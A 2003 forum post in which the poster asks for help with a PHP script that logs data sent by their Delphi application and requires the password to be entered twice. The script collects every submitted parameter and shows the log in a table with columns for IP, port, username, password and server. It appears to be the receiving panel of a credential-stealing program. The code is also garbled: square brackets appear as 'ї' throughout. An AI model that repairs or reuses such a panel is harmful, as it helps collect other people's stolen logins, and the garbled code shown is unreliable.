I need help
Posted: Sat Oct 04, 2003 5:03 pm
I have a PHP Script which logs stuff from a application i made in Delphi. It can be defined to be used with a password, but the problem is that when i try to login through my browser it doesn't accept the password at first time. I have to put the password in twice, which kinda makes the application i've made usless since it only tries to login once...
Maybe some kind person on this forum can fix it up, or tell me what is wrong.
Probably just some simple error...But i cant spot it, please help me guys
thanks in advance.
Maybe some kind person on this forum can fix it up, or tell me what is wrong.
Code: Select all
<?php
$email="";
$file="log.txt";
$msg="blahhhhh";
$pwd="13zxid2jdx";
##################################################
#######################
$array_name_var=array(1=>"date",2=>"action",3=>"name",4=>"ip",5=>"port",6=>"usrname",7=>"password",8=>"server");
##################################################
#######################
error_reporting(0);
IF($op != 1 && $op !=2 && !empty($HTTP_SERVER_VARSї'QUERY_STRING']))
{
##################################################
#######################
function verif_email($mail){
if (empty($mail)) {return FALSE;}
elseif (strlen($mail) < 6){return FALSE;}
elseif (strlen($mail) > 255) {return FALSE;}
elseif (!ereg("@", $mail)){return FALSE;}
elseif (preg_match_all("/(ї^a-zA-Z0-9_\@\.\-])/i", $mail, $trouve)){return FALSE;}
elseif (!preg_match("/^(їa-z0-9_]|\\-|\\.)+@((їa-z0-9_]|\\-)+\\.)+їa-z]{2,4}\$/i", $mail)){return FALSE;}
else{return TRUE;}
}
###############################################
if($HTTP_SERVER_VARSї'REQUEST_METHOD']=="GET")
{
$array_var=$_GET;
}
else
{
$array_var=$_POST;
}
###############################################
$update="#"."\n".date("d-m-Y-H:i")."\n";
reset ($array_var);
while (list($key,$val)=each($array_var))
{
$update.=$key."=>".@trim(@str_replace("*","",$val))."\n";
}
if(verif_email($email)){mail($email,$msg,$update);
}
#########################
$fp=@fopen($file,"a+");
@fwrite($fp,$update);
@fclose($fp);
#########################
}
##################################################
#######################
IF($op != 1 && empty($HTTP_SERVER_VARSї'QUERY_STRING']))
{
if($HTTP_SERVER_VARSї'QUERY_STRING']=="")
{
$title="їEnter Password]";
$input="Please enter password :";
print "<HTML><HEAD><TITLE>".$title."</Title></HEAD>
<BODY BGCOLOR="E7E3E7">
<center><FORM ACTION="$PHP_SELF">
<table width="40%" cellpadding="1" cellspacing="0" border="1" bgcolor="000000" bordercolor ="000000"><br><br><br>
<tr bgcolor="94A6BD">
<td align="center">
<font color="424142" size="2" face="Verdana"><b>".$input."</b></font>
</td>
</tr>
<tr bgcolor="E7E3E7">
<td align="center">
<INPUT TYPE="password" NAME="password" SIZE="30%">
<INPUT TYPE="hidden" NAME="op" VALUE="1">
<INPUT TYPE="submit" VALUE="OK">
</td>
</tr>
</table>
</FORM></CENTER>
</BODY></HTML>";
exit();
}
}
##################################################
#######################
IF($op==1)
{
if($pwd==$pass)
{
$title="Host Information";
print "<HTML>
<HEAD>
<TITLE>".$title."</Title>
<style type=text/css><!--BODY {SCROLLBAR-FACE-COLOR:#006699; SCROLLBAR-HIGHLIGHT-COLOR:#000000; SCROLLBAR-SHADOW-COLOR: #000000; SCROLLBAR-ARROW-COLOR: #CCCCCC; SCROLLBAR-TRACK-COLOR: #CCCCCC; } A:active {COLOR: #2092B0; FONT-FAMILY: sans-serif, Arial, Helvetica; TEXT-DECORATION: none} A:hover {COLOR: #2092B0; FONT-FAMILY: sans-serif, Arial, Helvetica; TEXT-DECORATION: none} A:link {COLOR: #006699; FONT-FAMILY: sans-serif, Arial, Helvetica; TEXT-DECORATION: none} A {COLOR: #006699; FONT-FAMILY: sans-serif, Arial, Helvetica; TEXT-DECORATION: none} --></style>
</HEAD>
<center>
<BODY BGCOLOR="E7E3E7">
<table border="1" cellpadding="4" cellspacing="0" bgcolor="94A6BD" bordercolor="black">
<tr>
<td colspan="".(count($array_name_var)+2).""><br><font style=font-size:13 face=sans-serif, Arial, Helvetica><b>PHP-Logger stuff</b><br></td>
</tr>
<tr>";
for($i=1;$i<=count($array_name_var);$i++)
{
print "<td>".$array_name_varї$i]."</td>";
}
echo("</tr>");
##################################################
#######################
$file_content=(@join("",@file($file)));
$array_file=(@explode("#",$file_content));
for($i=0;$i<count($array_file);$i++)
{
echo("<tr>");
$lineї$i]=(explode("\n",$array_fileї$i]));
for($j=0;$j<=count($array_name_var);$j++)
{
if(@ereg ("(ї0-9]{1,2})-(ї0-9]{1,2})-(ї0-9]{4})",$lineї$i]ї$j]))
{
echo("<td align="center">");
echo($lineї$i]ї$j]);
echo("</td>");
}
else
{
for($s=0;$s<count($lineї$i]);$s++)
{
if(!empty($lineї$i]ї$s]) && !empty($array_name_varї$j]))
{
if(stristr($lineї$i]ї$s],$array_name_varї$j]))
{
echo("<td align="center">");
echo(str_replace("=>","",strrchr($lineї$i]ї$s],"=>")));
echo("</td>");
}
}
}
}
}
echo("</tr>");
}
exit;
}
else
{
$title="їinvalid password]";
$input="Invalid password, try again :";
print "<HTML><HEAD><TITLE>".$title."</Title></HEAD>
<BODY BGCOLOR="E7E3E7">
<center><FORM ACTION="$PHP_SELF">
<table width="40%" cellpadding="1" cellspacing="0" border="1" bgcolor="000000" bordercolor ="000000"><br><br><br>
<tr bgcolor="94A6BD">
<td align="center">
<font color="424142" size="2" face="sans-serif, Arial, Helvetica"><b>".$input."</b></font>
</td>
</tr>
<tr bgcolor="E7E3E7">
<td align="center">
<INPUT TYPE="password" NAME="pass" SIZE="30%">
<INPUT TYPE="hidden" NAME="op" VALUE="1">
<INPUT TYPE="submit" VALUE="OK">
</td>
</tr>
</table>
</FORM></CENTER>
</BODY></HTML>";
exit();
}
}
?>thanks in advance.